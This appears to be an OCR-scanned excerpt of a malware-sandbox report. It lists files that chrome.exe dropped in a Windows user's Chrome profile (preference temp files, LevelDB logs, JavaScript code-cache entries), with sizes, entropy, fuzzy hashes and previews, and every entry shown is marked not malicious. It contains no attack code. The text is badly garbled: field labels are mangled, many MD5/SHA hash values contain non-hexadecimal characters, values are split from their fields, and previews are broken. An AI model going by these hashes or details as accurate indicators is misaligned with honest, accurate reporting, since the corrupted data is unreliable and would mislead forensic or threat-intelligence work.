1454994" "port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com”,"supports_spdy":true},

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\60a1d070-9f76-45ca-856e-3de4cdlaecf3.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

very short file (no magic)

dropped

1

0.0

false

3:L:L

5058F1AF8388633F609CADB75A75DC9D
3A52CE780950D4D969792A2559CD519D7EE8C727
CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0O336FC02A82E1839A8

0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDDSCAE7CEO3BBF1E94E93613A00F2¢
F21

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\795b6019-9577-45ac-8bb7-418a690d4721.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

2543

5.593242683404715

false
48:YpU1BVwUtO1zgUdk6UUhGUYyOeUcUIUfseKUetU/qPeUer2UefinU2wUiUenw:wU1sUtNUddUUOUOeUcUIUf3KUsUiPeUb
B83EFE32FC73C7A3C304AD8F0D979877

3B26666C32BF1D87BF060D77CCF6428C4D82C649
D7F92B33F4D0A3A506E4EDFFCAD39E32ECOCDBEA9496059ABC202129441E9555
22C47E3715E99E40CC897C38CAID46F1E7668790987A0108630FDE7B8D5C215D2EBIFD76E4AC25E4386A72110EA1BA19D4A25EFC1595E57ABB2534A84036BC4

false

{"expect_ct":[],"sts":[{"expiry":1650437659.992929,"host":"AVsuOZgBgOwdpKMoxm8zihjgET8kI4XI8bCSMk28RsE=","mode":"force-https","sts_include_subdomains"
:false,"sts_observed":1618901659.992932},{"expiry":1634681535.894217,"host":"E10e7Gwg5+phsYD4E8qNYFsQySXnIHPAfo4zloUPESc=","mode":"force-https","sts_i
nclude_subdomains":false,"sts_observed":1618901535.894222} {"expiry":1650437536.558335,"host":"LyHgf7kgknXbZw+eQHnMgqC7LOc9JalSIe8 Twcx0rTs=","mode":"f
orce-https","sts_include_subdomains":true,"sts_observed":1618901536.55834} {"expiry":1633014077.350499,"host":"OuKIWsMW1dkkbl1X/0i600Y95ZNSWnSoeal XAEY
Plv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1601478077.350503} {"expiry":1650437551.423324,"host":"PKqosHGXLFTwexcsjC+UXT
kKV3GWWHwtzKz/ULb9ssM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1618901551.423327},{"expiry":1650437655.958102,"host":"alZT
YINSUSIj8xKbRz2eU2pqvpuOBdbHFtk7jbKGSQI=","mode":"force-https","sts_include_subdomains":true,"sts_ob

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\845e983b-e2b0-44d0-987f-48eafd2900d4.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4782

4.954369098462878

false
48:Yc8UkPkIwHj/9UyUcMgA/QqTIYqlQuoTw09kfLH3CH3G/s8C1Nfct/9BhUJo3Kh4:n099pFRcfpcVefRok0IJCKL8VbOTQVuwn
6024F8C86B201CD165538364A524C36E

0E9844B9F98A7633FDE5SDB451EB60A66039E49BD
6F765FC5B2DDD61D91F8D3CC2DF841804B9AE7F419252138192E96D86103CC76

AF86EBGACAAOFE4B6FIABC8B2BD99B45D7C2F46DB2B6DF89CFD52FDBEB799C9B510C75BCADG930DF14F8F6D105D32C5BD80B891A71F8CF1D5A58174DB37A
C3E

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13263375128405251","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcom
e_page":true,"navi_onboard_group™":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":1
0,"work_area_bottom":984,"work_area_|left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install':21843,"data_reduction":{"daily_original_length":[*0","0","0"
0","0","0","0","0","0","0' "o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0 "0","0" o","0","0","0","0","0","0","0","0","0","0","

0", 7355378"],"daily_received_length":["0 0", 0","

o,

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\96d32720-d0f5-47e4-8324-9f4226fdd3fa.tmp

Process:

C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\96d32720-d0f5-47e4-8324-9f4226fdd3fa.tmp

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

22595

5.5355594806500745

false

384:S3CtNELIgFXX1kXgKf/pUZNCgVLH2HfDFrU2HGrNTB414i:9ELIOX1kXgKf/pUZNCgVLH2HfZrUWGrc

28EB43923841F8BB75B10A7E9E1E7736

F92F6A2CCT765EAABIAT2AF32074D4897513D8043

CDFEOE2484895C21A760B869263B588638DEC250362D8BOCOCOASE7D260D4362
C6B39653CC1C041E4B31C19B8A40B6FOF190B85CC4355FB60629870B98214F1359A7CC3AB0134FB22FD3B721FA060487190A278B97ADBBE44DB4EBA0398C721¢

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13263375128116110","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsf6xtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\98014802-86a5-4667-9431-0bb10ea3b75b.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

16745

5.577242053215934

false
384:S3CtKELIgFXX1kXgKf/pUZNCgVLH2HfDFrUTze14R:0ELIOX1kXgKf/pUZNCgVLH2HfZrUTqlu
ECFE5AODFEA85B748C110BA2C251F549
4E1A90C6F52E4655C43A315567C73C7ESC5BBC1A
E3A568DA6994BIFEIBFCE6FED4BA5497ABAB6AFBABC63C6A0E4A93E9E60D1031D

9E1FBC92606F5954777817F8AO0E1445FA8284DEDCB792102BE300C43BB1BB6285EEEC695ABE028DAEFA7TE9C16BE23972D16098BCEGFASEC53174FC80643799¢
7

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu”,"system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13263375128116110","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsf6xtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

334

5.250332626539979

false
6:m57BAQ+q2PWXp+N23iKKdKIRXXTZIFUtpO7nAgZmwPO70BAQVkwOWXp+N23iKKdi:zVva5Kk7XT2FUtp9g/P3215f5Kk7XVJ
0B2E5801A6F62D5F70240300BCF51971

585EA044037F02EB3690A72CC7D062D4D67F0562
33DD651231BEAC02F3C3100D187544FFA0D2D3611CF7A6DCBAGAAODA463B32CD
85795BFF9070A9392112DA4713279F331DFABBOD3B2EC22CEBBE310C6D923418DBB9A777813B37EB405548616245975958235E286543542E2959E2A3501ADB24

false

2021/04/19-23:52:21.003 1648 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/
04/19-23:52:21.005 1648 Recovering log #3.2021/04/19-23:52:21.006 1648 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text

dropped

318

5.27546543730983

false

6:m5gcQAQ+q2PWXp+N23iKKdKyDZIFUtpOgecmKXAgZmwPOgclRXAQVKkwOWXp+N23ir:DeVvas5Kk02FUtpTVg/PTV2I5f5KkWJ
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

CFAA3C2FE74E01C4E14087CEFB86C9ED
4EB2C8CB258F4F8FE5361CFCF8159F50F79386FC
CD41A63F60751F14F67ED4103A02423AF7803F64AF2D9BC635C99EC352422906

B6BC3DEAF495B5C0BB00892A0971EE96BA20B6EE94E77379190887504C81C096969388E0B34E453DF7AAGAGDAS5FD7A2636DDB4BC0OC97C4BD47540BD5CAFSC
D9

false

2021/04/19-23:52:20.995 1648 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/04/19-23
:52:20.996 1648 Recovering log #3.2021/04/19-23:52:20.997 1648 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\0481116f3cd8293f 0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

230

5.564743488763938

false

6:mlYL8vc7ZALSRTVLx1DaOIlAX/IMqwF32Lr3hK6t:z0c7ZZTRDaOI27w32D
0DB524087415E85FEC40791263F9DF6E
2B31CDD2C8A034F134566C0FAE9652227B3D955E
727CAFAT73448AA9D96683C78A699E95B9530F27DE1837FB485634B0C6D27EFF7

2A889287D9D6EG3FDE4AE0835B47A4116BC448A8AF8053B13819BE0356D4EB4C8E99A4FDI338054439A5C3D8DD6C7ESB6D2CCAA9327A29C86D37A709A0F7A4
2

false
O\r..m......b...O:......_keyhttps://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-DE/meCore.min.js .https://microsoft.com/Y@.4................ [CTUR DMB#R...>....m$....A.
Eo....<F..... ALEO....coi

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\094e2d6bf2abec98_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

219

5.556339230994713

false
3:m+IP90Ia8RzYJb9yKIf8QPKXWStHWFVDFYtRrWAJd7K1IHCckl/zI58tyGdDMGKR:m3VYyKO8fNH1DCqlckl/5yL6HK6t
86373FB5173E9ECDD5A538A48BF1854B

215AE30BAE62D0355CFC3A6F938BCB469526DC38
F128607F7CCD6D9DEOCADA96022DF4C5697A737C52D20DEDDBOC3B88A84A1908
AOB05AECB13D538FD6C1F60B4579D982B0C6484DE81200A31A27106A3C76D295C56BE27C7D354E3FD5C711421B4603B18061A5B943EB2929B14524BABE777B4:

false

_keyhttps://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.2.min.js .https://microsoft.com/...,../............ ~ e =.z-7K]..~..=.9.....8..A..Eo0....... L

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\0b0857b71d9c5820 0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

96480

5.830127913188832

false
1536:KSZ3Rn+X{jQsYnBIW+ug0y23CiXKvxvkFnw504+:bZ8kB8+ugCXKveFnw50h
8CA958C1C7CCE57A9EC509A11BE273A1
AEFD55D1EB010FADFCAA290C146FA4C8ASFD4ET71
8B722C23901A89A591F82E68932DF6D115E96ED16BDDA48062CEDD3B1F84342B

1EAG97C8F51E2A41FD7E8BCFCB903C30C68E7FFOBE87BA263728681155FDD41BD2562FBA2686AC310CDB799354FC46761C54303A9E4AB703F1D781032EF48C/
D

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\10ac5d3142a4549b_0

Process:

C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\10ac5d3142a4549b_0

File Type: data

Category: dropped

Size (bytes): 585

Entropy (8bit): 5.463442810354617

Encrypted: false

SSDEEP: 12:TDQLsFhhBoK7uCOXUDjNC1Ngw9jMuwe9l1D1DVoG:T/hHKCOXUDRCrMuFpD1BV

MDS5: E79FD57969C67545B32CAC5E6E888C56

SHA1L: 8668023A1DA9AED77E4F93CCD90914A0CB786267

SHA-256: 3641DA19105753585E1B1AF6BEC0357DF721CC285CCA945EDC7B4647551BCCDF

SHA-512: BBAB28DAA4D2AD8BE12A2CC294650160DB4A0D19E9F4B52214A823157FE9A98F79E49DC13FACBCBA74A815F2083174107A54FF4A837578EC5FID3BFFOEEASFT
32

Malicious: false

Preview:
O\r..m...oeeeee g....._keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/mscomhp/_scrf/js/themes=default/2f-63ce8f/45-f9a0d4/aa-dc1460/2d-7a9063/dc-

7e9864/4f-5115f8/7d-266f10/4a-abd94b/6d-c07eal/9d-b58f60/f6-aa5278/cd-23d3b0/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5¢39b/c3-6454d7/f9-7592
d3/92-10345d/f8-73a5f2/79-499886/7e-cda2d3/69-1387 1c/b7-0ad59f/91-97a04f/1f-100dea/33-abe4df/17-f90ef1/e3-082b89?ver=2.0&_cf=20210415 .https://microso
ft.com/...2../. M. d..B].2.MQ......9.9.....8.A..E0........ 2......A.Eo.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\14c06f6781117c4a_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 19455

Entropy (8bit): 6.011541385563709

Encrypted: false

SSDEEP: 384:fx+0x8kXD6H1cwIvB1leFS5GWdRNZr8qKval:88uK1WrnVKS

MDS5: 41A9A761B9993D83B41AD6CE1CD20B03

SHA1L: E6929ACC91A3E3B6DESAA03080609E980E3611AD

SHA-256: F11C984B43490A132BB99D87EBC1269BBFF98F54B0OF3F360D34BD274DAEAA3LA

SHA-512: 2C3FEBA48FF44D49C540C3F5ACC58D9A247A90EBADID73227A3696A3045013BE516B3C9967ECB9I5386835CE0610DA40437CED2AESA2B04BO3FE7759F2AA31C
1

Malicious: false

Preview:
OVecMeiee _keyhttps://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/54-af9f9f/c0-247156/de-099401/e1-a50eee/e7-95487

2/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7hb/63-077520/a4-34de62/bb-d7480b/db-bc0148/dc-7€9864/6d-c07eal/9d-b58f60/f6-aa5278/cd-23d3b0/6d-1e7ed
0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5¢c39b/c3-6454d7/f9-7592d3/92-10345d/79-499886/7e-cda2d3/69-13871c/b7-0ad59f/e0-3c9860/91-97a04f/1f-100de
a/33-abe4df/17-f90efl?ver=2.0&_cf=20210415&iife=1 .https://microsoft.com/..%,../...
i Ze O He Attt (S.0. Ll (S L....LRc' .
M....__extends...d......cceeenen e Da..... ... (S...L'>Ref......... *...QbZ.<...n...Qb........ lo.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\14f647dfe193b5d9_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 295

Entropy (8bit): 5.673303345046577

Encrypted: false

SSDEEP: 6:mjYGLTDQYKfZ+OsFRzh+sGeNTCEKDIAUYD5d21kVOW7DK6t:2DQLSFhhSITC1Dh721kXp

MDS5: 72E6E3272465A9FC97BDB2D2DD2EEECF

SHA1L: 0CF18439E8DA7B65A907A8FEFOD7EBE061A35609

SHA-256: 694CF55DEF9C3BE410D45EA0944411A01C76DB02767AA3DBI86E92D20742ED37

SHA-512: 47FB86B547E545B3434CE922A4D3DD86EA6A3D21ADID16C1FD34BD007508BBFA340ACF124202EA7111AC3638B4C4DCOE969B32BCB8AB76COFD3DCALDOCEF
B11

Malicious: false

Preview:
OVecMecee _keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/mscomhp/_scrf/js/themes=default/89-144c00/a4-539297?ver=2.0&_cf=20210415
.https://microsoft.com/-..2../.......cccccennnnen. ]...nB...r-BQ..*...[..Z.K3..E.A..Eo0....... FHD......... A.EO0..ccoiiiis

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\1e6171275c40fle4 0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 276760

Entropy (8bit): 5.581262181257349

Encrypted: false

SSDEEP: 3072:0wNGmoZfqcDIjXEjm0JfOSaCalyRE/cEM|TqB4wDlhU2stVIXgvRyr7DRDFScomu:owecmyCUKOJdaHhPstVIaly7|
MDS5: 46381B557765BED4247B9A6230E115FD

SHA1L: D3C7C88750D8FC82F53BE03F1B74DD6AF796F429

SHA-256: DE8871FDE6DC675FD4E8101F1F0F622071F02523B35A552C6C73DF04A80A7EA4L
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\1e6171275c40fle4 0

SHA-512:

Malicious:

Preview:

CFB694BB2A7CA3D81CEA37D2D0B02175B693EFE2AF2CEE172ECAF8861F70EEC5164A6533FBCCDAAA7COE105731884414D0B09EF27C477F9BE87347BF8199ELl
6D

false

o\r.m.....@....['.....DE3687B71DD92AE626355B47653FD8F4AADO8C86A7E26515DD61491COD1E3754............... AT OP.LL 7.5 ) Nt D0 (

A WHe He [< IO I Lol $.....8.0 O | Poi(on
.@Rec........ Qb..b....e....M....S.b$.. I a..F..(S. ...L
K'...D}8.oorciinn &%.*.....& %% & (.....&}...&%.0..%.0..."...&%.* .&.(.&(..&(..&.& " W....-...(ceooee JRC.cin
.https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js..a.

.@...@.-...HP

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\22fb0e1969c285c1 0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

214

5.440075208552881

false

6:mCVCVYVO0iffhQ3fvt51Nh8x/pK4NnK6t:VVuAavts5Hh4p
D974ECC5D79F8C089F09C995D1E3781F
EF1848CAE046F16BAA7AEB7933109552C3165AB3
13B437BCE5B8884687382C6B90159995AF7A152865B60AD2DEEOF44763BESB60

88AA388C2ADC8374B564E2417E7BBF234F5D698997F5DB87A1A2F31DE36AEBD9287496CF85FB1A4A5068A52BC6505EAF9D44C5A3B9E3011DB2BASE3B01A130
A2

false

O\r.m......R....p.3...._keyhttps://Iptag.liveperson.net/tag/tag.js?site=60270350 .https://liveperson.net/|..2../............. [ PP 5+.0....0.0.p..3Im..\...x.A..Eo0....... Qv A
..Eo.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\27e50e06ba23059b_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

94840

5.7888436552599405

false
1536:nHXmAKIigNv+LiICpDzI1g8/vIMsXZAii/zrJdrKZhd3y+cSMJpcyU:32i7xk1VXy5V/zjrCc8
47C1F27F70BEB62E696BF5DC7CECCO053
82028E5219B91731C6D570C646DEDIE9OB4CDEBF
9DB263F006DF484674A45545250C65D43E91949B39317F70A443D81B447DB2E8
1224F9561C8C5D26C2CD1C68B23C039C84DD05CDB78134468FC27BAES262CA3F7C3FBI6DA49F6604ADF75E8356A1CEB3772AF10C459CB2C4893A722C476699

false

o\r.m......@...p.g.....17TE447295F615C5ABB3C555E92F178E7028568E26E2B4609728240F4E6BE7D55................ WO Gl @i

L L Rc 0O...M...Qb~sl....cy....QbJ....... cu....Qb"-......ct....Qb...0....cs....Qb.Np
bn....Qb..WE....bm....Qb.Z.

Qb.../....I....Qb.leX....h....Q

R...Q

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\328b75cf02d95d5e_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

252

5.674329257115664

false

6:mcYiRDHWA7elAX3TH5R2DLOEEowDgjn5/m4LGhK6t:XDHXeB3L5gDZwCm5
C6E1E7022D309562ECCC8CDBO5AAO8ES
899DAE25D705D3A256615031CEF26C706FCB6419
8CC4DC43965F3C0A4F540529A5B9670B9A8B84FBBCF77AE0420DA9EOAIF1D945

800582BE6AE4205DA9A841F1D5A05CC41FA3FA32E4854A7A96BBB1D2E318CD8B99BC2D4B5EEECBA7A547A5C8F18C83D5016AACDA04C56A7E49C2F99889310
76

false

O\r..m.....X...2.ce _keyhttps://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=8c84dc53-9dee-f42a-46b1-5a93c0e43d70 .https://microsoft.com/P..,../ ........ccccevuerees U..0..
..\.oQ.8gD.r<{......A..Eo....... AZs........A..Eo...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\38c7c19d1d0ee3c7_0

Process:

File Type:

C:\Program Files\Google\Chrome\Application\chrome.exe

data
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\38c7c19d1d0ee3c7_0

Category: dropped

Size (bytes): 237

Entropy (8bit): 5.621633370504114

Encrypted: false

SSDEEP: 6:mkggEY SPSAW0DQAHXWNOdxbx9f5SgK4zIDK6t:B1AHQi+0dXTRSsI1

MDS5: F923EBA79076AA97872A82187E5ABFI1

SHA1L: 272A4A631796A633F32DD3A8BCES71FF141219951

SHA-256: 3D6D3D4AIDIBB3E29A7683A5A4E9C3F03D7BA7D3503779EEFC13AEB2897369BD

SHA-512: 5A7E2BCFB3A9823702A483CFC76D5063470AD580FBD85266A9671EF7B1C94E993651EAD1B8CA709CEDBS0OEC12F8C8085B4ED48B2E0C737F6CCF236416F3964!
4

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\3b99dc3d3bc104fb_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 238

Entropy (8bit): 5.4661876210555524

Encrypted: false

SSDEEP: 6:moinYkhcV5IT6Rsbm59LPWNvBIbjPn5hK6t:EEpRSOUNVBGjR7

MDS5: DF9013AD1A192BFBFCFBF70FBBB58D30

SHA1L: D6FEA8FB960131F2DDC543FDDF1AD8FIBEB22979

SHA-256: 2128C5F633C05293F29B9ED3C4214FFABB4B50695DAADE1783F48894448ADD56

SHA-512: 45AE5C9344199F648C41A1EC3F68C511BEA1B035372C46D1CC4D3B8IFEFC5142C3DF24F2E050DC6E23EDBBAS9CDF1384655A45C575C1ED93474C5E939D6683
B

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\43fb384703621b6c_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 293

Entropy (8bit): 5.594466060169724

Encrypted: false

SSDEEP: 6:mSwu9YVv0JA/BDWDQICEPqwBf50Rrv2H7wneK5lvepnVbK6t:Uiu/hWDxCEbBxORrv2UnRvepz

MDS5: F75C99BD93481BE42BF4766E5CD65386

SHA1L: FC5C332C3C0440569070234EC684B9E2D69EE056

SHA-256: E92DE09424BEESBAE22E9F6995A2BB0154BC64D50FD69B33E36D1DEBSDACA7DE

SHA-512: D8FC3517DF3E85E1C3D3FF5558AFDAIBI4FFF89F2CD830741761D9AC8A9658468B09C3EBC5FC310462B2DA168C425FE2C62EEBD3BC57E8C7629F03BAD57299
C

Malicious: false

Preview:
O\r..m. ..H".2...._keyhttps://Iptag.liveperson.net/Iptag/api/account/60270350/configuration/applications/taglets/.jsonp?v=2.0&df=0&s=store-sales-de-ch&b=1 .https://
liveperson.net/...4../.......ccccoceed 6W....\Oy.se..ML1@;....A..E0.........lcccoeee A.EO0..coiin.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\4a7b0al6eebe4c59 0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 650

Entropy (8bit): 5.416750446526195

Encrypted: false

SSDEEP: 12:JLDQLHBKGFhhykPpoMKIOXUDjNC1Ngw97we9EYOp5FSDMGOT:IkShQkIXUDRCTFUYOM2
MDS5: 7EF6EB47DDEEA1244DC1133940991630

SHAL: 033AAE6FD6B3F4D16D4DE3AG8CCC019DD673656B

SHA-256: C17CB43D2F44FDFB805C145EA04C8606D8C4CABFBIB39BC5C2CI2FF32539B905
SHA-512: 75699547A6223547D1AEBEC52320534C1BD38D122BEE14636AA57A187ED4D17090010CC2EE685F658F09297B21696EFB7236198FF6F3E2F52F06C0625F8190CA
Malicious: false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\4a7b0al6eebe4c59 0

Preview:
O\r..m.......... z.a....._keyhttps://www.microsoft.com/onerfstatics/marketingsites-eus-prod/shell/_scrf/js/themes=default/54-af9f9f/c0-247156/de-099401/e1-a50eee/e7-954872
/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/bb-d7480b/db-bc0148/dc-7e9864/6d-c07eal/9d-b58f60/f6-aa5278/cd-23d3b0/6d-1e7ed0
/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/92-10345d/79-499886/7e-cda2d3/69-13871c/b7-0ad59f/e0-3¢9860/91-97a04f/1f-100dea/33-
abe4df/17-f90efl?ver=2.0&_cf=20210415&iife=1 .https://microsoft.com/.V.,..[.....cccccccerennenn. 0.1&@..l.....a._.2f.~ ALEO..c.ccceiin A B0

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\5db4ad138a5b020e_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 343

Entropy (8bit): 5.646257733346591

Encrypted: false

SSDEEP: 6:m/HnYbLjFCMufXA8rIN7dIMz0sphQNp4XI12UMtvxO9Y+okTQquPLrOhK6t:0qnfUxPSf/ICHMtvhXS7

MDS5: ABD4EC77AC1EEBC3B01C34A66541A897

SHA1L: FCOD2FE5FA28CB634752202A75425B37C070146B

SHA-256: 4588D67525A7D408EBAAT6E18AA428724CC54AD3C2D9255AEB8CASB28EDSEAAS

